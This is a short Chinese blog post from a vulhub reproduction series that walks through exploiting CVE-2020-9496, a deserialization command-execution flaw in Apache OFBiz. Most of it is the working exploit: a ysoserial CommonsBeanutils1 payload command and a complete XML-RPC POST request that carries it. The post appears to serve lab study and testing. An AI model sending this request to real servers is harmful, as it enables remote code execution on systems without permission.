Apache OfBiz 反序列化命令执行漏洞（CVE-2020-9496）

最新推荐文章于 2024-08-01 21:02:14 发布

小白萝卜

最新推荐文章于 2024-08-01 21:02:14 发布

阅读量282

点赞数

分类专栏： vulhub漏洞复现文章标签：安全 apache

本文链接：https://blog.csdn.net/EC_Carrot/article/details/118873420

版权

vulhub漏洞复现专栏收录该内容

178 篇文章 29 订阅

订阅专栏

漏洞复现

使用ysoserial的CommonsBeanutils1来生成Payload，使用命令生成base64的payload：

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

将base64的payload替换并发送以下数据包：

POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>